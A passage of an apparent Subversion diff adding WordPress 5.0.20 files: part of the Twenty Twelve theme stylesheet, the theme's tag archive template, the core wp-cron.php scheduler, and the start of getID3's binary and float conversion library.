+	font-size: 12px;
+	font-size: 0.857142857rem;
+	font-weight: normal;
+	line-height: 2;
+	margin: 0;
+}
+.format-status .entry-header header a {
+	color: #757575;
+}
+.format-status .entry-header header a:hover {
+	color: #21759b;
+}
+.format-status .entry-header img {
+	float: left;
+	margin-right: 21px;
+	margin-right: 1.5rem;
+}
+
+
+/* =Comments
+-------------------------------------------------------------- */
+
+.comments-title {
+	margin-bottom: 48px;
+	margin-bottom: 3.428571429rem;
+	font-size: 16px;
+	font-size: 1.142857143rem;
+	line-height: 1.5;
+	font-weight: normal;
+}
+.comments-area article {
+	margin: 24px 0;
+	margin: 1.714285714rem 0;
+}
+.comments-area article header {
+	margin: 0 0 48px;
+	margin: 0 0 3.428571429rem;
+	overflow: hidden;
+	position: relative;
+}
+.comments-area article header img {
+	float: left;
+	padding: 0;
+	line-height: 0;
+}
+.comments-area article header cite,
+.comments-area article header time {
+	display: block;
+	margin-left: 85px;
+	margin-left: 6.071428571rem;
+}
+.comments-area article header cite {
+	font-style: normal;
+	font-size: 15px;
+	font-size: 1.071428571rem;
+	line-height: 1.42857143;
+}
+.comments-area cite b {
+	font-weight: normal;
+}
+.comments-area article header time {
+	line-height: 1.714285714;
+	text-decoration: none;
+	font-size: 12px;
+	font-size: 0.857142857rem;
+	color: #5e5e5e;
+}
+.comments-area article header a {
+	text-decoration: none;
+	color: #5e5e5e;
+}
+.comments-area article header a:hover {
+	color: #21759b;
+}
+.comments-area article header cite a {
+	color: #444;
+}
+.comments-area article header cite a:hover {
+	text-decoration: underline;
+}
+.comments-area article header h4 {
+	position: absolute;
+	top: 0;
+	right: 0;
+	padding: 6px 12px;
+	padding: 0.428571429rem 0.857142857rem;
+	font-size: 12px;
+	font-size: 0.857142857rem;
+	font-weight: normal;
+	color: #fff;
+	background-color: #0088d0;
+	background-repeat: repeat-x;
+	background-image: -moz-linear-gradient(top, #009cee, #0088d0);
+	background-image: -ms-linear-gradient(top, #009cee, #0088d0);
+	background-image: -webkit-linear-gradient(top, #009cee, #0088d0);
+	background-image: -o-linear-gradient(top, #009cee, #0088d0);
+	background-image: linear-gradient(top, #009cee, #0088d0);
+	border-radius: 3px;
+	border: 1px solid #007cbd;
+}
+.comments-area .bypostauthor cite span {
+	position: absolute;
+	margin-left: 5px;
+	margin-left: 0.357142857rem;
+	padding: 2px 5px;
+	padding: 0.142857143rem 0.357142857rem;
+	font-size: 10px;
+	font-size: 0.714285714rem;
+}
+.comments-area .bypostauthor cite b {
+	font-weight: bold;
+}
+a.comment-reply-link,
+a.comment-edit-link {
+	color: #686868;
+	font-size: 13px;
+	font-size: 0.928571429rem;
+	line-height: 1.846153846;
+}
+a.comment-reply-link:hover,
+a.comment-edit-link:hover {
+	color: #21759b;
+}
+.commentlist .pingback {
+	line-height: 1.714285714;
+	margin-bottom: 24px;
+	margin-bottom: 1.714285714rem;
+}
+
+/* Comment form */
+#respond {
+	margin-top: 48px;
+	margin-top: 3.428571429rem;
+}
+#respond h3#reply-title {
+	font-size: 16px;
+	font-size: 1.142857143rem;
+	line-height: 1.5;
+}
+#respond h3#reply-title #cancel-comment-reply-link {
+	margin-left: 10px;
+	margin-left: 0.714285714rem;
+	font-weight: normal;
+	font-size: 12px;
+	font-size: 0.857142857rem;
+}
+#respond form {
+	margin: 24px 0;
+	margin: 1.714285714rem 0;
+}
+#respond form p {
+	margin: 11px 0;
+	margin: 0.785714286rem 0;
+}
+#respond form p.logged-in-as {
+	margin-bottom: 24px;
+	margin-bottom: 1.714285714rem;
+}
+#respond form label {
+	display: block;
+	line-height: 1.714285714;
+}
+#respond form input[type="text"],
+#respond form textarea {
+	-moz-box-sizing: border-box;
+	box-sizing: border-box;
+	font-size: 12px;
+	font-size: 0.857142857rem;
+	line-height: 1.714285714;
+	padding: 10px;
+	padding: 0.714285714rem;
+	width: 100%;
+}
+#respond form p.form-allowed-tags {
+	margin: 0;
+	font-size: 12px;
+	font-size: 0.857142857rem;
+	line-height: 2;
+	color: #5e5e5e;
+}
+#respond #wp-comment-cookies-consent {
+	margin: 0 10px 0 0;
+}
+#respond .comment-form-cookies-consent label {
+	display: inline;
+}
+.required {
+	color: red;
+}
+
+
+/* =Front page template
+-------------------------------------------------------------- */
+
+.entry-page-image {
+	margin-bottom: 14px;
+	margin-bottom: 1rem;
+}
+.template-front-page .site-content article {
+	border: 0;
+	margin-bottom: 0;
+}
+.template-front-page .widget-area {
+	clear: both;
+	float: none;
+	width: auto;
+	padding-top: 24px;
+	padding-top: 1.714285714rem;
+	border-top: 1px solid #ededed;
+}
+.template-front-page .widget-area .widget li {
+	margin: 8px 0 0;
+	margin: 0.571428571rem 0 0;
+	font-size: 13px;
+	font-size: 0.928571429rem;
+	line-height: 1.714285714;
+	list-style-type: square;
+	list-style-position: inside;
+}
+.template-front-page .widget-area .widget li a {
+	color: #757575;
+}
+.template-front-page .widget-area .widget li a:hover {
+	color: #21759b;
+}
+.template-front-page .widget-area .widget_text img {
+	float: left;
+	margin: 8px 24px 8px 0;
+	margin: 0.571428571rem 1.714285714rem 0.571428571rem 0;
+}
+
+
+/* =Widgets
+-------------------------------------------------------------- */
+
+.widget-area .widget ul ul {
+	margin-left: 12px;
+	margin-left: 0.857142857rem;
+}
+.widget_rss li {
+	margin: 12px 0;
+	margin: 0.857142857rem 0;
+}
+.widget_recent_entries .post-date,
+.widget_rss .rss-date {
+	color: #aaa;
+	font-size: 11px;
+	font-size: 0.785714286rem;
+	margin-left: 12px;
+	margin-left: 0.857142857rem;
+}
+#wp-calendar {
+	margin: 0;
+	width: 100%;
+	font-size: 13px;
+	font-size: 0.928571429rem;
+	line-height: 1.846153846;
+	color: #686868;
+}
+#wp-calendar th,
+#wp-calendar td,
+#wp-calendar caption {
+	text-align: left;
+}
+#wp-calendar #next {
+	padding-right: 24px;
+	padding-right: 1.714285714rem;
+	text-align: right;
+}
+.widget_search label {
+	display: block;
+	font-size: 13px;
+	font-size: 0.928571429rem;
+	line-height: 1.846153846;
+}
+.widget_twitter li {
+	list-style-type: none;
+}
+.widget_twitter .timesince {
+	display: block;
+	text-align: right;
+}
+.tagcloud ul {
+	list-style-type: none;
+}
+
+.tagcloud ul li {
+	display: inline-block;
+}
+
+.widget-area .widget.widget_tag_cloud li {
+	line-height: 1;
+}
+.template-front-page .widget-area .widget.widget_tag_cloud li {
+	margin: 0;
+}
+
+.widget-area .gallery-columns-2.gallery-size-full .gallery-icon img,
+.widget-area .gallery-columns-3.gallery-size-full .gallery-icon img,
+.widget-area .gallery-columns-4.gallery-size-full .gallery-icon img,
+.widget-area .gallery-columns-5.gallery-size-full .gallery-icon img,
+.widget-area .gallery-columns-6 .gallery-icon img,
+.widget-area .gallery-columns-7 .gallery-icon img,
+.widget-area .gallery-columns-8 .gallery-icon img,
+.widget-area .gallery-columns-9 .gallery-icon img {
+	height: auto;
+	max-width: 80%;
+}
+
+/* =Plugins
+----------------------------------------------- */
+
+img#wpstats {
+	display: block;
+	margin: 0 auto 24px;
+	margin: 0 auto 1.714285714rem;
+}
+
+
+/* =Media queries
+-------------------------------------------------------------- */
+
+/* Does the same thing as <meta name="viewport" content="width=device-width">,
+ * but in the future W3C standard way. -ms- prefix is required for IE10+ to
+ * render responsive styling in Windows 8 "snapped" views; IE10+ does not honor
+ * the meta tag. See https://core.trac.wordpress.org/ticket/25888.
+ */
+@-ms-viewport {
+	width: device-width;
+}
+@viewport {
+	width: device-width;
+}
+
+/* Minimum width of 600 pixels. */
+@media screen and (min-width: 600px) {
+	.author-avatar {
+		float: left;
+		margin-top: 8px;
+		margin-top: 0.571428571rem;
+	}
+	.author-description {
+		float: right;
+		width: 80%;
+	}
+	.site {
+		margin: 0 auto;
+		max-width: 960px;
+		max-width: 68.571428571rem;
+		overflow: hidden;
+	}
+	.site-content {
+		float: left;
+		width: 65.104166667%;
+	}
+	body.template-front-page .site-content,
+	body.attachment .site-content,
+	body.full-width .site-content {
+		width: 100%;
+	}
+	.widget-area {
+		float: right;
+		width: 26.041666667%;
+	}
+	.site-header h1,
+	.site-header h2 {
+		text-align: left;
+	}
+	.site-header h1 {
+		font-size: 26px;
+		font-size: 1.857142857rem;
+		line-height: 1.846153846;
+		margin-bottom: 0;
+	}
+	.main-navigation ul.nav-menu,
+	.main-navigation div.nav-menu > ul {
+		border-bottom: 1px solid #ededed;
+		border-top: 1px solid #ededed;
+		display: inline-block !important;
+		text-align: left;
+		width: 100%;
+	}
+	.main-navigation ul {
+		margin: 0;
+		text-indent: 0;
+	}
+	.main-navigation li a,
+	.main-navigation li {
+		display: inline-block;
+		text-decoration: none;
+	}
+	.main-navigation li a {
+		border-bottom: 0;
+		color: #6a6a6a;
+		line-height: 3.692307692;
+		text-transform: uppercase;
+		white-space: nowrap;
+	}
+	.main-navigation li a:hover,
+	.main-navigation li a:focus {
+		color: #000;
+	}
+	.main-navigation li {
+		margin: 0 40px 0 0;
+		margin: 0 2.857142857rem 0 0;
+		position: relative;
+	}
+	.main-navigation li ul {
+		margin: 0;
+		padding: 0;
+		position: absolute;
+		top: 100%;
+		z-index: 1;
+		height: 1px;
+		width: 1px;
+		overflow: hidden;
+		clip: rect(1px, 1px, 1px, 1px);
+	}
+	.main-navigation li ul ul {
+		top: 0;
+		left: 100%;
+	}
+	.main-navigation ul li:hover > ul,
+	.main-navigation ul li:focus > ul,
+	.main-navigation .focus > ul {
+		border-left: 0;
+		clip: inherit;
+		overflow: inherit;
+		height: inherit;
+		width: inherit;
+	}
+	.main-navigation li ul li a {
+		background: #efefef;
+		border-bottom: 1px solid #ededed;
+		display: block;
+		font-size: 11px;
+		font-size: 0.785714286rem;
+		line-height: 2.181818182;
+		padding: 8px 10px;
+		padding: 0.571428571rem 0.714285714rem;
+		width: 180px;
+		width: 12.85714286rem;
+		white-space: normal;
+	}
+	.main-navigation li ul li a:hover,
+	.main-navigation li ul li a:focus {
+		background: #e3e3e3;
+		color: #444;
+	}
+	.main-navigation .current-menu-item > a,
+	.main-navigation .current-menu-ancestor > a,
+	.main-navigation .current_page_item > a,
+	.main-navigation .current_page_ancestor > a {
+		color: #636363;
+		font-weight: bold;
+	}
+	.menu-toggle {
+		display: none;
+	}
+	.entry-header .entry-title {
+		font-size: 22px;
+		font-size: 1.571428571rem;
+	}
+	#respond form input[type="text"] {
+		width: 46.333333333%;
+	}
+	#respond form textarea.blog-textarea {
+		width: 79.666666667%;
+	}
+	.template-front-page .site-content,
+	.template-front-page article {
+		overflow: hidden;
+	}
+	.template-front-page.has-post-thumbnail article {
+		float: left;
+		width: 47.916666667%;
+	}
+	.entry-page-image {
+		float: right;
+		margin-bottom: 0;
+		width: 47.916666667%;
+	}
+	.template-front-page .widget-area .widget,
+	.template-front-page.two-sidebars .widget-area .front-widgets {
+		float: left;
+		width: 51.875%;
+		margin-bottom: 24px;
+		margin-bottom: 1.714285714rem;
+	}
+	.template-front-page .widget-area .widget:nth-child(odd) {
+		clear: right;
+	}
+	.template-front-page .widget-area .widget:nth-child(even),
+	.template-front-page.two-sidebars .widget-area .front-widgets + .front-widgets {
+		float: right;
+		width: 39.0625%;
+		margin: 0 0 24px;
+		margin: 0 0 1.714285714rem;
+	}
+	.template-front-page.two-sidebars .widget,
+	.template-front-page.two-sidebars .widget:nth-child(even) {
+		float: none;
+		width: auto;
+	}
+	.commentlist .children {
+		margin-left: 48px;
+		margin-left: 3.428571429rem;
+	}
+}
+
+/* Minimum width of 960 pixels. */
+@media screen and (min-width: 960px) {
+	body {
+		background-color: #e6e6e6;
+	}
+	body .site {
+		padding: 0 40px;
+		padding: 0 2.857142857rem;
+		margin-top: 48px;
+		margin-top: 3.428571429rem;
+		margin-bottom: 48px;
+		margin-bottom: 3.428571429rem;
+		box-shadow: 0 2px 6px rgba(100, 100, 100, 0.3);
+	}
+	body.custom-background-empty {
+		background-color: #fff;
+	}
+	body.custom-background-empty .site,
+	body.custom-background-white .site {
+		padding: 0;
+		margin-top: 0;
+		margin-bottom: 0;
+		box-shadow: none;
+	}
+}
+
+
+/* =Print
+----------------------------------------------- */
+
+@media print {
+	body {
+		background: none !important;
+		color: #000;
+		font-size: 10pt;
+	}
+	footer a[rel=bookmark]:link:after,
+	footer a[rel=bookmark]:visited:after {
+		content: " [" attr(href) "] "; /* Show URLs */
+	}
+	a {
+		text-decoration: none;
+	}
+	.entry-content img,
+	.comment-content img,
+	.author-avatar img,
+	img.wp-post-image {
+		border-radius: 0;
+		box-shadow: none;
+	}
+	.site {
+		clear: both !important;
+		display: block !important;
+		float: none !important;
+		max-width: 100%;
+		position: relative !important;
+	}
+	.site-header {
+		margin-bottom: 72px;
+		margin-bottom: 5.142857143rem;
+		text-align: left;
+	}
+	.site-header h1 {
+		font-size: 21pt;
+		line-height: 1;
+		text-align: left;
+	}
+	.site-header h2 {
+		color: #000;
+		font-size: 10pt;
+		text-align: left;
+	}
+	.site-header h1 a,
+	.site-header h2 a {
+		color: #000;
+	}
+	.author-avatar,
+	#colophon,
+	#respond,
+	.commentlist .comment-edit-link,
+	.commentlist .reply,
+	.entry-header .comments-link,
+	.entry-meta .edit-link a,
+	.page-link,
+	.site-content nav,
+	.widget-area,
+	img.header-image,
+	.main-navigation {
+		display: none;
+	}
+	.wrapper {
+		border-top: none;
+		box-shadow: none;
+	}
+	.site-content {
+		margin: 0;
+		width: auto;
+	}
+
+	.entry-header .entry-title,
+	.entry-title {
+		font-size: 21pt;
+	}
+	footer.entry-meta,
+	footer.entry-meta a {
+		color: #444;
+		font-size: 10pt;
+	}
+	.author-description {
+		float: none;
+		width: auto;
+	}
+
+	/* Comments */
+	.commentlist > li.comment {
+		background: none;
+		position: relative;
+		width: auto;
+	}
+	.commentlist .avatar {
+		height: 39px;
+		left: 2.2em;
+		top: 2.2em;
+		width: 39px;
+	}
+	.comments-area article header cite,
+	.comments-area article header time {
+		margin-left: 50px;
+		margin-left: 3.57142857rem;
+	}
+}
Index: /tags/5.0.20/src/wp-content/themes/twentytwelve/tag.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentytwelve/tag.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentytwelve/tag.php	(revision 56912)
@@ -0,0 +1,52 @@
+<?php
+/**
+ * The template for displaying Tag pages
+ *
+ * Used to display archive-type pages for posts in a tag.
+ *
+ * @link https://codex.wordpress.org/Template_Hierarchy
+ *
+ * @package WordPress
+ * @subpackage Twenty_Twelve
+ * @since Twenty Twelve 1.0
+ */
+
+get_header(); ?>
+
+	<section id="primary" class="site-content">
+		<div id="content" role="main">
+
+		<?php if ( have_posts() ) : ?>
+			<header class="archive-header">
+				<h1 class="archive-title"><?php printf( __( 'Tag Archives: %s', 'twentytwelve' ), '<span>' . single_tag_title( '', false ) . '</span>' ); ?></h1>
+
+			<?php if ( tag_description() ) : // Show an optional tag description ?>
+				<div class="archive-meta"><?php echo tag_description(); ?></div>
+			<?php endif; ?>
+			</header><!-- .archive-header -->
+
+			<?php
+			/* Start the Loop */
+			while ( have_posts() ) : the_post();
+
+				/*
+				 * Include the post format-specific template for the content. If you want to
+				 * this in a child theme then include a file called content-___.php
+				 * (where ___ is the post format) and that will be used instead.
+				 */
+				get_template_part( 'content', get_post_format() );
+
+			endwhile;
+
+			twentytwelve_content_nav( 'nav-below' );
+			?>
+
+		<?php else : ?>
+			<?php get_template_part( 'content', 'none' ); ?>
+		<?php endif; ?>
+
+		</div><!-- #content -->
+	</section><!-- #primary -->
+
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /tags/5.0.20/src/wp-cron.php
===================================================================
--- /tags/5.0.20/src/wp-cron.php	(revision 56912)
+++ /tags/5.0.20/src/wp-cron.php	(revision 56912)
@@ -0,0 +1,138 @@
+<?php
+/**
+ * A pseudo-CRON daemon for scheduling WordPress tasks
+ *
+ * WP Cron is triggered when the site receives a visit. In the scenario
+ * where a site may not receive enough visits to execute scheduled tasks
+ * in a timely manner, this file can be called directly or via a server
+ * CRON daemon for X number of times.
+ *
+ * Defining DISABLE_WP_CRON as true and calling this file directly are
+ * mutually exclusive and the latter does not rely on the former to work.
+ *
+ * The HTTP request to this file will not slow down the visitor who happens to
+ * visit when the cron job is needed to run.
+ *
+ * @package WordPress
+ */
+
+ignore_user_abort(true);
+
+if ( !empty($_POST) || defined('DOING_AJAX') || defined('DOING_CRON') )
+	die();
+
+/**
+ * Tell WordPress we are doing the CRON task.
+ *
+ * @var bool
+ */
+define('DOING_CRON', true);
+
+if ( !defined('ABSPATH') ) {
+	/** Set up WordPress environment */
+	require_once( dirname( __FILE__ ) . '/wp-load.php' );
+}
+
+/**
+ * Retrieves the cron lock.
+ *
+ * Returns the uncached `doing_cron` transient.
+ *
+ * @ignore
+ * @since 3.3.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @return string|false Value of the `doing_cron` transient, 0|false otherwise.
+ */
+function _get_cron_lock() {
+	global $wpdb;
+
+	$value = 0;
+	if ( wp_using_ext_object_cache() ) {
+		/*
+		 * Skip local cache and force re-fetch of doing_cron transient
+		 * in case another process updated the cache.
+		 */
+		$value = wp_cache_get( 'doing_cron', 'transient', true );
+	} else {
+		$row = $wpdb->get_row( $wpdb->prepare( "SELECT option_value FROM $wpdb->options WHERE option_name = %s LIMIT 1", '_transient_doing_cron' ) );
+		if ( is_object( $row ) )
+			$value = $row->option_value;
+	}
+
+	return $value;
+}
+
+if ( false === $crons = _get_cron_array() )
+	die();
+
+$keys = array_keys( $crons );
+$gmt_time = microtime( true );
+
+if ( isset($keys[0]) && $keys[0] > $gmt_time )
+	die();
+
+
+// The cron lock: a unix timestamp from when the cron was spawned.
+$doing_cron_transient = get_transient( 'doing_cron' );
+
+// Use global $doing_wp_cron lock otherwise use the GET lock. If no lock, trying grabbing a new lock.
+if ( empty( $doing_wp_cron ) ) {
+	if ( empty( $_GET[ 'doing_wp_cron' ] ) ) {
+		// Called from external script/job. Try setting a lock.
+		if ( $doing_cron_transient && ( $doing_cron_transient + WP_CRON_LOCK_TIMEOUT > $gmt_time ) )
+			return;
+		$doing_cron_transient = $doing_wp_cron = sprintf( '%.22F', microtime( true ) );
+		set_transient( 'doing_cron', $doing_wp_cron );
+	} else {
+		$doing_wp_cron = $_GET[ 'doing_wp_cron' ];
+	}
+}
+
+/*
+ * The cron lock (a unix timestamp set when the cron was spawned),
+ * must match $doing_wp_cron (the "key").
+ */
+if ( $doing_cron_transient != $doing_wp_cron )
+	return;
+
+foreach ( $crons as $timestamp => $cronhooks ) {
+	if ( $timestamp > $gmt_time )
+		break;
+
+	foreach ( $cronhooks as $hook => $keys ) {
+
+		foreach ( $keys as $k => $v ) {
+
+			$schedule = $v['schedule'];
+
+			if ( $schedule != false ) {
+				$new_args = array($timestamp, $schedule, $hook, $v['args']);
+				call_user_func_array('wp_reschedule_event', $new_args);
+			}
+
+			wp_unschedule_event( $timestamp, $hook, $v['args'] );
+
+			/**
+			 * Fires scheduled events.
+			 *
+			 * @ignore
+			 * @since 2.1.0
+			 *
+			 * @param string $hook Name of the hook that was scheduled to be fired.
+			 * @param array  $args The arguments to be passed to the hook.
+			 */
+ 			do_action_ref_array( $hook, $v['args'] );
+
+			// If the hook ran too long and another cron process stole the lock, quit.
+			if ( _get_cron_lock() != $doing_wp_cron )
+				return;
+		}
+	}
+}
+
+if ( _get_cron_lock() == $doing_wp_cron )
+	delete_transient( 'doing_cron' );
+
+die();
Index: /tags/5.0.20/src/wp-includes/ID3/getid3.lib.php
===================================================================
--- /tags/5.0.20/src/wp-includes/ID3/getid3.lib.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/ID3/getid3.lib.php	(revision 56912)
@@ -0,0 +1,1436 @@
+<?php
+/////////////////////////////////////////////////////////////////
+/// getID3() by James Heinrich <info@getid3.org>               //
+//  available at http://getid3.sourceforge.net                 //
+//            or http://www.getid3.org                         //
+//          also https://github.com/JamesHeinrich/getID3       //
+/////////////////////////////////////////////////////////////////
+//                                                             //
+// getid3.lib.php - part of getID3()                           //
+// See readme.txt for more details                             //
+//                                                            ///
+/////////////////////////////////////////////////////////////////
+
+
+class getid3_lib
+{
+
+	public static function PrintHexBytes($string, $hex=true, $spaces=true, $htmlencoding='UTF-8') {
+		$returnstring = '';
+		for ($i = 0; $i < strlen($string); $i++) {
+			if ($hex) {
+				$returnstring .= str_pad(dechex(ord($string{$i})), 2, '0', STR_PAD_LEFT);
+			} else {
+				$returnstring .= ' '.(preg_match("#[\x20-\x7E]#", $string{$i}) ? $string{$i} : '¤');
+			}
+			if ($spaces) {
+				$returnstring .= ' ';
+			}
+		}
+		if (!empty($htmlencoding)) {
+			if ($htmlencoding === true) {
+				$htmlencoding = 'UTF-8'; // prior to getID3 v1.9.0 the function's 4th parameter was boolean
+			}
+			$returnstring = htmlentities($returnstring, ENT_QUOTES, $htmlencoding);
+		}
+		return $returnstring;
+	}
+
+	public static function trunc($floatnumber) {
+		// truncates a floating-point number at the decimal point
+		// returns int (if possible, otherwise float)
+		if ($floatnumber >= 1) {
+			$truncatednumber = floor($floatnumber);
+		} elseif ($floatnumber <= -1) {
+			$truncatednumber = ceil($floatnumber);
+		} else {
+			$truncatednumber = 0;
+		}
+		if (self::intValueSupported($truncatednumber)) {
+			$truncatednumber = (int) $truncatednumber;
+		}
+		return $truncatednumber;
+	}
+
+
+	public static function safe_inc(&$variable, $increment=1) {
+		if (isset($variable)) {
+			$variable += $increment;
+		} else {
+			$variable = $increment;
+		}
+		return true;
+	}
+
+	public static function CastAsInt($floatnum) {
+		// convert to float if not already
+		$floatnum = (float) $floatnum;
+
+		// convert a float to type int, only if possible
+		if (self::trunc($floatnum) == $floatnum) {
+			// it's not floating point
+			if (self::intValueSupported($floatnum)) {
+				// it's within int range
+				$floatnum = (int) $floatnum;
+			}
+		}
+		return $floatnum;
+	}
+
+	public static function intValueSupported($num) {
+		// check if integers are 64-bit
+		static $hasINT64 = null;
+		if ($hasINT64 === null) { // 10x faster than is_null()
+			$hasINT64 = is_int(pow(2, 31)); // 32-bit int are limited to (2^31)-1
+			if (!$hasINT64 && !defined('PHP_INT_MIN')) {
+				define('PHP_INT_MIN', ~PHP_INT_MAX);
+			}
+		}
+		// if integers are 64-bit - no other check required
+		if ($hasINT64 || (($num <= PHP_INT_MAX) && ($num >= PHP_INT_MIN))) {
+			return true;
+		}
+		return false;
+	}
+
+	public static function DecimalizeFraction($fraction) {
+		list($numerator, $denominator) = explode('/', $fraction);
+		return $numerator / ($denominator ? $denominator : 1);
+	}
+
+
+	public static function DecimalBinary2Float($binarynumerator) {
+		$numerator   = self::Bin2Dec($binarynumerator);
+		$denominator = self::Bin2Dec('1'.str_repeat('0', strlen($binarynumerator)));
+		return ($numerator / $denominator);
+	}
+
+
+	public static function NormalizeBinaryPoint($binarypointnumber, $maxbits=52) {
+		// http://www.scri.fsu.edu/~jac/MAD3401/Backgrnd/binary.html
+		if (strpos($binarypointnumber, '.') === false) {
+			$binarypointnumber = '0.'.$binarypointnumber;
+		} elseif ($binarypointnumber{0} == '.') {
+			$binarypointnumber = '0'.$binarypointnumber;
+		}
+		$exponent = 0;
+		while (($binarypointnumber{0} != '1') || (substr($binarypointnumber, 1, 1) != '.')) {
+			if (substr($binarypointnumber, 1, 1) == '.') {
+				$exponent--;
+				$binarypointnumber = substr($binarypointnumber, 2, 1).'.'.substr($binarypointnumber, 3);
+			} else {
+				$pointpos = strpos($binarypointnumber, '.');
+				$exponent += ($pointpos - 1);
+				$binarypointnumber = str_replace('.', '', $binarypointnumber);
+				$binarypointnumber = $binarypointnumber{0}.'.'.substr($binarypointnumber, 1);
+			}
+		}
+		$binarypointnumber = str_pad(substr($binarypointnumber, 0, $maxbits + 2), $maxbits + 2, '0', STR_PAD_RIGHT);
+		return array('normalized'=>$binarypointnumber, 'exponent'=>(int) $exponent);
+	}
+
+
+	public static function Float2BinaryDecimal($floatvalue) {
+		// http://www.scri.fsu.edu/~jac/MAD3401/Backgrnd/binary.html
+		$maxbits = 128; // to how many bits of precision should the calculations be taken?
+		$intpart   = self::trunc($floatvalue);
+		$floatpart = abs($floatvalue - $intpart);
+		$pointbitstring = '';
+		while (($floatpart != 0) && (strlen($pointbitstring) < $maxbits)) {
+			$floatpart *= 2;
+			$pointbitstring .= (string) self::trunc($floatpart);
+			$floatpart -= self::trunc($floatpart);
+		}
+		$binarypointnumber = decbin($intpart).'.'.$pointbitstring;
+		return $binarypointnumber;
+	}
+
+
+	public static function Float2String($floatvalue, $bits) {
+		// http://www.scri.fsu.edu/~jac/MAD3401/Backgrnd/ieee-expl.html
+		switch ($bits) {
+			case 32:
+				$exponentbits = 8;
+				$fractionbits = 23;
+				break;
+
+			case 64:
+				$exponentbits = 11;
+				$fractionbits = 52;
+				break;
+
+			default:
+				return false;
+				break;
+		}
+		if ($floatvalue >= 0) {
+			$signbit = '0';
+		} else {
+			$signbit = '1';
+		}
+		$normalizedbinary  = self::NormalizeBinaryPoint(self::Float2BinaryDecimal($floatvalue), $fractionbits);
+		$biasedexponent    = pow(2, $exponentbits - 1) - 1 + $normalizedbinary['exponent']; // (127 or 1023) +/- exponent
+		$exponentbitstring = str_pad(decbin($biasedexponent), $exponentbits, '0', STR_PAD_LEFT);
+		$fractionbitstring = str_pad(substr($normalizedbinary['normalized'], 2), $fractionbits, '0', STR_PAD_RIGHT);
+
+		return self::BigEndian2String(self::Bin2Dec($signbit.$exponentbitstring.$fractionbitstring), $bits % 8, false);
+	}
+
+
+	public static function LittleEndian2Float($byteword) {
+		return self::BigEndian2Float(strrev($byteword));
+	}
+
+
+	public static function BigEndian2Float($byteword) {
+		// ANSI/IEEE Standard 754-1985, Standard for Binary Floating Point Arithmetic
+		// http://www.psc.edu/general/software/packages/ieee/ieee.html
+		// http://www.scri.fsu.edu/~jac/MAD3401/Backgrnd/ieee.html
+
+		$bitword = self::BigEndian2Bin($byteword);
+		if (!$bitword) {
+			return 0;
+		}
+		$signbit = $bitword{0};
+
+		switch (strlen($byteword) * 8) {
+			case 32:
+				$exponentbits = 8;
+				$fractionbits = 23;
+				break;
+
+			case 64:
+				$exponentbits = 11;
+				$fractionbits = 52;
+				break;
+
+			case 80:
+				// 80-bit Apple SANE format
+				// http://www.mactech.com/articles/mactech/Vol.06/06.01/SANENormalized/
+				$exponentstring = substr($bitword, 1, 15);
+				$isnormalized = intval($bitword{16});
+				$fractionstring = substr($bitword, 17, 63);
+				$exponent = pow(2, self::Bin2Dec($exponentstring) - 16383);
+				$fraction = $isnormalized + self::DecimalBinary2Float($fractionstring);
+				$floatvalue = $exponent * $fraction;
+				if ($signbit == '1') {
+					$floatvalue *= -1;
+				}
+				return $floatvalue;
+				break;
+
+			default:
+				return false;
+				break;
+		}
+		$exponentstring = substr($bitword, 1, $exponentbits);
+		$fractionstring = substr($bitword, $exponentbits + 1, $fractionbits);
+		$exponent = self::Bin2Dec($exponentstring);
+		$fraction = self::Bin2Dec($fractionstring);
+
+		if (($exponent == (pow(2, $exponentbits) - 1)) && ($fraction != 0)) {
+			// Not a Number
+			$floatvalue = false;
+		} elseif (($exponent == (pow(2, $exponentbits) - 1)) && ($fraction == 0)) {
+			if ($signbit == '1') {
+				$floatvalue = '-infinity';
+			} else {
+				$floatvalue = '+infinity';
+			}
+		} elseif (($exponent == 0) && ($fraction == 0)) {
+			if ($signbit == '1') {
+				$floatvalue = -0;
+			} else {
+				$floatvalue = 0;
+			}
+			$floatvalue = ($signbit ? 0 : -0);
+		} elseif (($exponent == 0) && ($fraction != 0)) {
+			// These are 'unnormalized' values
+			$floatvalue = pow(2, (-1 * (pow(2, $exponentbits - 1) - 2))) * self::DecimalBinary2Float($fractionstring);
+			if ($signbit == '1') {
+				$floatvalue *= -1;
+			}
+		} elseif ($exponent != 0) {
+			$floatvalue = pow(2, ($exponent - (pow(2, $exponentbits - 1) - 1))) * (1 + self::DecimalBinary2Float($fractionstring));
+			if ($signbit == '1') {
+				$floatvalue *= -1;
+			}
+		}
+		return (float) $floatvalue;
+	}
+
+
+	public static function BigEndian2Int($byteword, $synchsafe=false, $signed=false) {
+		$intvalue = 0;
+		$bytewordlen = strlen($byteword);
+		if ($bytewordlen == 0) {
+			return false;
+		}
+		for ($i = 0; $i < $bytewordlen; $i++) {
+			if ($synchsafe) { // disregard MSB, effectively 7-bit bytes
+				//$intvalue = $intvalue | (ord($byteword{$i}) & 0x7F) << (($bytewordlen - 1 - $i) * 7); // faster, but runs into problems past 2^31 on 32-bit systems
+				$intvalue += (ord($byteword{$i}) & 0x7F) * pow(2, ($bytewordlen - 1 - $i) * 7);
+			} else {
+				$intvalue += ord($byteword{$i}) * pow(256, ($bytewordlen - 1 - $i));
+			}
+		}
+		if ($signed && !$synchsafe) {
+			// synchsafe ints are not allowed to be signed
+			if ($bytewordlen <= PHP_INT_SIZE) {
+				$signMaskBit = 0x80 << (8 * ($bytewordlen - 1));
+				if ($intvalue & $signMaskBit) {
+					$intvalue = 0 - ($intvalue & ($signMaskBit - 1));
+				}
+			} else {
+				throw new Exception('ERROR: Cannot have signed integers larger than '.(8 * PHP_INT_SIZE).'-bits ('.strlen($byteword).') in self::BigEndian2Int()');
+			}
+		}
+		return self::CastAsInt($intvalue);
+	}
+
+
+	public static function LittleEndian2Int($byteword, $signed=false) {
+		return self::BigEndian2Int(strrev($byteword), false, $signed);
+	}
+
+	public static function LittleEndian2Bin($byteword) {
+		return self::BigEndian2Bin(strrev($byteword));
+	}
+
+	public static function BigEndian2Bin($byteword) {
+		$binvalue = '';
+		$bytewordlen = strlen($byteword);
+		for ($i = 0; $i < $bytewordlen; $i++) {
+			$binvalue .= str_pad(decbin(ord($byteword{$i})), 8, '0', STR_PAD_LEFT);
+		}
+		return $binvalue;
+	}
+
+
